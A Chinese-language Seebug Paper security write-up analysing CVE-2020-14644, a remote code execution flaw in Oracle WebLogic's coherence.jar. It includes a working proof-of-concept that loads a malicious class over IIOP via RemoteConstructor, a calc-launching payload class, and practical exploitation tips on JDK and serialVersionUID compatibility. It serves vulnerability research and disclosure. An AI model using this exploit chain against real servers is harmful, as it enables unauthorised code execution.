作者:Sp4rr0vv@ 白帽匯安全研究院
核對:r4v3zn@ 白帽匯安全研究院
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

概述

2020 年 7 月 15 日,Oracle 發布大量安全修復補丁,其中 CVE-2020-14644 漏洞被評分為 9.8 分,影響版本為 12.2.1.3.0、12.2.1.4.0, 14.1.1.0.0 。本文基于互聯網公開的 POC 進行復現、分析,最終實現無任何限制的 defineClass + 實例化,進行實現 RCE。

前置知識

JDKClassLoader 類中有個方法是 defindClass ,可以根據類全限定名和類的字節數組,加載一個類到 jvm 中并返回對應的 Class 對象(隨帶一提,這種加載類的方式不會執行類初始化)。

image-20200805135249325

所以只要參數 name(類名)和 b (類文件的二進制數據)可控,理論上我們可以加載任何類,需要注意的一點是,這個類名 name 一定要和這個類字節數組 b 中對于的類名一致才行,不然就是一個 NoClassDefFoundError

image-20200805143407083

image-20200805143146631

復現

環境 - Weblogic 12.2.1.4.0 - jdk 1.8.0_112 - Windows 10

首先準備一個帶包名的惡意類,在構造函數中寫入惡意代碼

package com;

import java.io.IOException;

public class EvilObj {

    public EvilObj() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

POC

ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilObj.class.getName());
ctClass.replaceClassName(EvilObj.class.getName(),  EvilObj.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
        new ClassDefinition(classIdentity, ctClass.toBytecode()),
        new Object[] {}
);
// 發送 IIOP 協議數據包
Context context = getContext("iiop://ip:port");
context.rebind("hello",constructor);

復現結果:

image-20200806093842214

以下為簡化版調用棧:

exec:347, Runtime (java.lang)
<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)
newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)

漏洞分析

先看下幾個關鍵的類的字段和構造函數,都是 coherence.jar 中的類

com.tangosol.internal.util.invoke.RemoteConstructor

https://images.seebug.org/content/images/2020/08/06/1596699500000-image-20200805132105015.png-w331s

com.tangosol.internal.util.invoke.ClassDefinition

image-20200805132609441

com.tangosol.internal.util.invoke.ClassIdentity

image-20200805133348073

com.tangosol.internal.util.invoke.RemotableSupport

image-20200805152651959

com.tangosol.internal.util.invoke.ClassIdentity 的構造構造方法可以將 Class 作為參數,然后進行提取該類的一些特征信息,例如 packageBaseNameVersion等信息,其中 Version 表示該類文件的內容 MD5 值,然后轉換為 Hex

image-20200805145134354

image-20200805151149145

image-20200805151308964

所以 getName() = package + "/" + baseName + "$" + version

image-20200805151648869

com.tangosol.internal.util.invoke.ClassDefinitionclassnamebyte[] 都有了,而 RemoteConstructor 持有 ClassDefinition 類型的引用,RemotableSupport 繼承了 ClassLoader,具有加載類的功能。

最后看下關鍵的幾個調用棧:

image-20200805152228695

image-20200805152202225

重點在 RemotableSupport.realize 中進行處理,其中首先流入 this.registerIfAbsent(constructor.getDefinition()) 中。

image-20200806094158466

RemotableSupport 中定義了 Map 類型 f_mapDefinitions 的變量進行充當緩存作用。

image-20200805165348620

首先是每次調用 realize 時會先在緩存中查找 ClassDefinition

image-20200805180021923

ClassIdentity 重寫了equals方法,所以如果惡意類的內容沒有什么變化的話,會將 Class 對應的 ClassIdentity 在第一次使用時的 id 作為 key,內容作為 value 存入緩存,之后每次都會返回第一次加的 ClassnameClassDefinition

image-20200805205219348

執行 this.registerIfAbsent(constructor.getDefinition()) 之后通過 ClassDefinition.getRemotableClass 進行獲取 m_clz,第一次流入時內容值為 null (其中不僅是因為在 ClassDefinition 的構造函數中沒有為該字段賦值的語句,更重要的是這個字段是 transient 修飾的),然后通過調用 defineClass 進行加載惡意類字節碼。

image-20200805212209399

image-20200805212403828

image-20200805212723073

由于 RemotableSupport 繼承了 ClassLoader,所以它的 defineClass 就是調用了父類的 defineClass 來加載類,但是有意思的是他所生成類名的邏輯,是前面所說的 ClassIdentity.getname() = package + "/" + baseName + "$" + version,所以 ClassIdentity 中的字節數組 byte[] 中的對應的 Class 的類名必須為 package + "." + baseName + "$" + version,否則可能會面臨加載失敗的問題。

image-20200805213145914

還有一個有意思的地方是 RemotableSupport.defineClass 這個函數所返回的是一個泛型

image-20200805221023126

還剛好是 ClassDefinition.setRemotableClass 的參數類型一致image-20200805221251914

這意味著,這個ClassDefinition中的類字節數組byte[]內容不需要進行繼承Remotable

image-20200806092748575

而且顯而易見,ClassDefinition.setRemotableClass 的作用就是為ClassDefinition 的兩個 transient 字段賦值

image-20200806094514613

這要求ClassDefinition所代表的類的構造函數必須只有一個,參數有無,沒有任何影響,m_mhCtor字段的類型為MethodHandle,是 JDK7 的新特性,是另一套反射 api 中的類,在 ClassDefinition 這個類中對應于構造函數。

當流入 ClassDefinition.createInstance 后會進行調用構造方法將 aoArgs 作為參數進行實例化對象,由于我們的惡意代碼是寫在構造方法中的,所以當實例化之后會進行執行惡意代碼。

image-20200806094529126

實際利用

綜述,整體的思路為,構造一個帶有包名類,惡意代碼寫進構造函數中就行,然后通過 javassist 進行動態修改類名,將原類名追加 $version 值,在實戰利用中可能會出現以下問題。

為啥要帶包名?

因為ClassIdentity的構造函數中有下面這個鏈式調用,不帶包名getPackage()會返回null,再往下調用就會空指針異常

image-20200806094554771

Class 版本問題

在利用的過程中常常會出現,由于 JDK 版本問題無法正常利用問題。

  1. 可以通過在編譯獲取惡意類時加入 -source 1.6 -target 1.6 參數指定編譯版本。
  2. 也可通過設置當前運行 jdk 版本調整為最低版本進行使用。

序列化 ID 問題

由于 Weblogic 版本的變化,coherence.jar 文件中的 serialVersionUID 可能會出現不一致的問題,通過分析測試得出以下結論 12.2.1.3.012.2.1.4.014.1.1.0.0serialVersionUID 不同,以下為詳細測試的結果:

coherence.jar weblogic 版本 是否成功
12.2.1.3.0 12.2.1.3.0 成功
12.2.1.3.0 12.2.1.4.0 失敗
12.2.1.3.0 14.1.1.0.0 失敗
12.2.1.4.0 12.2.1.3.0 失敗
12.2.1.4.0 12.2.1.4.0 成功
12.2.1.4.0 14.1.1.0.0 成功
14.1.1.0.0 12.2.1.3.0 失敗
14.1.1.0.0 12.2.1.4.0 成功
14.1.1.0.0 14.1.1.0.0 成功

該問題可通過 URLClassLoader 進行動態加載處理以下為部分核心代碼(摘自 weblogic-framework):

image-20200806133258369

image-20200806133919212

參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1284/